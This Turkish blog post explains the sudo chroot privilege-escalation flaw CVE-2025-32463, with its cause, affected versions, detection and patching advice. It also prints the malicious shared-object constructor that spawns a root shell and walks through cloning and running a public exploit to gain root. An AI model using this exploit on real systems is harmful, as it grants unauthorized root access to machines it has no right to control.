Post

CVE: Sudo Chroot CVE-2025-32463

Sudo Chroot: CVE-2025-32463 zafiyeti hakkında detaylı bilgiler ve sömürü yöntemini ele alacağız.

CVE: Sudo Chroot CVE-2025-32463

Bu yazımda, kısa bir süre önce yayınlanan ve sudo’nun chroot (chwoot) fonksiyonunu etkileyen kritik bir yerel yetki yükseltme zafiyeti olan CVE-2025-32463‘ü inceleyeceğiz. Bu açık, sistemde sudo kuralı tanımlı olmayan sıradan kullanıcıların bile root yetkileri elde etmesine olanak tanımaktadır.


Nasıl Çalışıyor?

Zafiyet, sudo’nun -R veya --chroot parametresinin kullanımı sırasında, belirtilen kök dizine (chroot dizini) geçilerek komut eşleştirme işleminin bu ortamda yapılmasından kaynaklanmaktadır. Bu süreçte, saldırgan chroot dizinine sahte bir /etc/nsswitch.conf yerleştirerek, sudo’nun kötü niyetli bir shared object dosyasını (libnss_*.so) yüklemesini sağlayabilir.

Bu dosya sayesinde, sistemde root haklarıyla bir shell başlatılabilir.


Etkilenen Versiyonlar

  • Sudo 1.9.14 – 1.9.17

Etkilenmeyen sürümler: Sudo <= 1.8.32 (çünkü chroot desteği bu sürümlerde yoktur)

Versiyon kontorolü için şu komutu kullanabilirsiniz: sudo -V | grep "Sudo version"


Zafiyetin Etkisi

Sudo konfigürasyonunda hiçbir izin tanımlanmamış olsa bile, sistemde yüklü olan savunmasız sudo sürümü ile yerel bir kullanıcı root erişimi elde edebilir.

Bu durum, sistemin bütünlüğü, gizliliği ve erişilebilirliği üzerinde ciddi tehditler oluşturur.


Detaylı Teknik Açıklama

Zafiyetin kökeni, sudo’nun chroot() çağrısını sudoers kuralı eşleştirilmeden önce yapmasıdır. Bu sayede:

  • pivot_root() ve unpivot_root() ile sistem geçici olarak chroot ortamına alınır,

  • Bu ortamda /etc/nsswitch.conf içindeki servis girdileri işlenir (örn: passwd: /woot1337),

  • Bu girdiler, libnss_woot1337.so.2 gibi saldırgan tarafından hazırlanan .so dosyalarının yüklenmesine sebep olur.

Bu shared object dosyası, constructor niteliğinde bir woot() fonksiyonu içerir:

1
2
3
4
5
__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  execl("/bin/bash", "/bin/bash", NULL);
}

Bu fonksiyon çalıştığında, shell doğrudan root olarak başlatılır.


Nasıl Sömürülür?

İlk olarak sömürü repomuzu aşağıdaki gibi sisteme klonluyoruz:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git           
Cloning into 'CVE-2025-32463_chwoot'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 2), reused 9 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.

Daha sonra CVE-2025-32463_chwoot dizinine geçiyoruz:

1
2
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-32463_chwoot 

Şimdi de son olarak exploiti çalıştırıyoruz:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/CVE-2025-32463_chwoot]
└─$ ./sudo-chwoot.sh 
woot!
┌──(root㉿kali)-[/]
└─# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),126(lpadmin),134(wireshark),136(kaboxer),1000(kali)


Tespit

  • Sistem loglarında CHROOT= içeren sudo komutlarını kontrol edin.

  • /etc/sudoers ve /etc/sudoers.d/ dizinlerinde CHROOT= veya runchroot= içeren satırları arayın.

  • ldapsearch gibi araçlarla LDAP üzerinden tanımlanmış sudo kurallarını da gözden geçirin.


Önlem ve Güncelleme

  • Sudo’yu 1.9.17p1 veya daha yeni bir sürüme güncelleyin.

  • Bu güncelleme, sudoers eşleştirme sırasında chroot() çağrısını devre dışı bırakır.

  • Gelişmiş sistemlerde AppArmor/SELinux gibi kontrol mekanizmalarıyla sudo komutlarını izole edin.


Referanslar


Okuduğunuz için teşekkür ederim.

This post is licensed under CC BY 4.0 by the author.